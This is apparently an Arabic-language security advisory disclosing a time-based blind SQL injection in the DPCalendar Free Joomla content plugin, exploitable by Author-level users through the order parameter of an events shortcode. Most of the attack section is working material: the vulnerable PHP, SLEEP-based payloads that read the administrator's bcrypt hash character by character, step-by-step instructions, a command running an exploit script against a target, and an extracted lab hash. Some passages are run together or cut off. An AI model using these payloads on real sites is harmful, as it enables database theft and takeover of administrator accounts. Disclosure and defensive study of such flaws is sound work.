
إدخال SQL عبر كود ORDER BY المختصر في plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — مستخدم بصلاحية Author يستخرج قاعدة البيانات بالكامل عبر حقن أعمى قائم على الوقت
يقوم الملحق البرمجي للمحتوى plg_content_dpcalendar بتحليل أكواد القصيرة {{#events order="..."}}{{/events}} المضمّنة في نصوص مقالات Joomla. يتم تمرير قيمة معامل order مباشرة إلى ، متجاوزًا تمامًا القائمة البيضاء الخاصة بـ الخاصة بالنموذج. ثم يتم إدراج القيمة في جملة SQL محمية فقط بواسطة — وهي غير كافية لمنع حقن الاستعلامات الفرعية.
EventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()يمكن لمستخدم بصلاحية Author يمكنه إنشاء أو تعديل المقالات استغلال ذلك لاستخراج البيانات من قاعدة البيانات عبر حقن SQL أعمى قائم على الوقت. يحدث حقن SQL داخل طلب حفظ المقالة الخاص بالمهاجم نفسه — دون الحاجة إلى تفاعل ضحية، أو مقال منشور، أو تدخل مسؤول.
| المكوّن | الإصدارات المعرضة | تم الاختبار على | الإصدار المُصلَح |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
ملاحظة: هذه الثغرة مختلفة عن CVE-2026-57831 (حقن SQL غير مصادق عليه في
EventsModel.phpعبرfilter_created_by، تم إصلاحه في الإصدار 10.11.2). الاكتشاف الحالي يؤثر على الملحق البرمجي للمحتوى (plg_content_dpcalendar) — ملف مختلف، ومعامل مختلف، ولم يتم إصلاحه في أحدث إصدار وقت الاكتشاف.
النوع: حقن SQL (CWE-89) — أعمى قائم على الوقت
المصادقة المطلوبة: دور Author (يمكنه إنشاء/تعديل مقالات Joomla)
نقطة النهاية: POST /index.php/submit-article?view=form&layout=edit
الملف: plg_content_dpcalendar/src/Extension/DPCalendar.php
يقوم محلل الأكواد القصيرة في الملحق البرمجي بالتكرار عبر جميع معاملات المفتاح-القيمة في وسم {{#events}} ويضبط حالة النموذج مباشرة، متجاوزًا التحقق من القائمة البيضاء في populateState() بالكامل:
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — معالجة المعاملات المعرضة للخطر
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNERABLE: sets ordering state directly from user input
// bypasses populateState() whitelist entirely
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
تتدفق القيمة الملوّثة إلى EventsModel::getListQuery() مع تطبيق هروب علامات الاقتباس فقط — وهو غير كافٍ لمنع حقن الاستعلامات الفرعية في سياق ORDER BY:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — بناء جملة ORDER BY
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() escapes quotes only — does NOT prevent subquery injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
يمر استعلام فرعي مثل (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) عبر $db->escape() دون تعديل لأنه لا يحتوي على أي أحرف اقتباس. يصبح SQL الناتج:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
يتم تقييم تعبير ORDER BY فقط عندما تكون مجموعة النتائج غير فارغة — مما يتطلب وجود حدث DPCalendar مستقبلي منشور واحد على الأقل، وهو الشرط القياسي لأي تثبيت نشط لـ DPCalendar.
السلوك الرئيسي: يحدث حقن SQL داخل طلب POST للحفظ/التعديل نفسه — يمكن ملاحظة تأخير التوقيت مباشرة في استجابة HTTP (إعادة توجيه 303). يقيس المهاجم وقت استجابة طلب POST الخاص به؛ لا يلزم عرض مقال أو إعادة تحميل صفحة أو خطوة نشر.
المتطلبات الأساسية:
plg_content_dpcalendar (مفعل افتراضيًا عند تثبيت DPCalendar)start_date مستقبليالسيناريو: حقن SQL أعمى قائم على الوقت ← استخراج بيانات اعتماد المسؤول
يقوم الملحق البرمجي بتعيين filter.state = 1 و list.start-date = NOW() قبل بناء الاستعلام. يتم تنفيذ الاستعلامات الفرعية في ORDER BY فقط عندما تحتوي مجموعة النتائج على صفوف؛ إذا كان عدد الصفوف المطابقة 0، فلن يتم استدعاء SLEEP() أبدًا.

قم بالمصادقة على الواجهة الأمامية لـ Joomla باستخدام حساب Author. لا يلزم الوصول إلى لوحة الإدارة في أي نقطة من هذا الهجوم.

انتقل إلى نموذج إرسال المقال في الواجهة الأمامية (/submit-article). أدخل الحمولة التالية في نص المقال وانقر على حفظ:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
يتم تأخير استجابة POST نفسها حوالي 5 ثوانٍ. يتم تشغيل onContentPrepare أثناء خط أنابيب حفظ Joomla، مما يستدعي الاستعلام المعرض للخطر قبل إصدار إعادة التوجيه 303. لا يلزم عرض مقال أو نشره.

استبدل 1=1 بـ 1=2 (خطأ دائمًا). لا يتم تشغيل SLEEP وتعود الاستجابة فورًا (~100 مللي ثانية)، مما يؤكد فصلًا موثوقًا في التوقيت.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

استخدم مقارنات ASCII(SUBSTRING(...)) لقراءة كل حرف. يجب تجنب علامات الاقتباس المفردة (يتوقف التعبير النمطي للكود القصير [^"\']* عند أي حرف اقتباس)؛ استخدم قيم ASCII العشرية بدلاً من ذلك:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
وقت الاستجابة ~5 ثوانٍ → TRUE → char[1] = '$' (ASCII 36 — الحرف الأول من تجزئة bcrypt $2y$10$...).

قم بتشغيل exploit/exploit.py لأتمتة حلقة الاستخراج بايت ببايت:
python3 exploit/exploit.py http://TARGET
يسجل البرنامج النصي الدخول كـ Author، ويرسل حمولات مصممة، ويستخرج اسم المستخدم والبريد الإلكتروني وتجزئة كلمة مرور bcrypt الكاملة المكونة من 60 حرفًا. أكدت نتيجة المختبر: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| الشرط | وقت الاستجابة |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5,000 مللي ثانية |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 مللي ثانية |
jos_users.password)، ورموز الجلسات، ورسائل البريد الإلكتروني للمستخدمين عبر حقن SQL أعمى قائم على الوقت.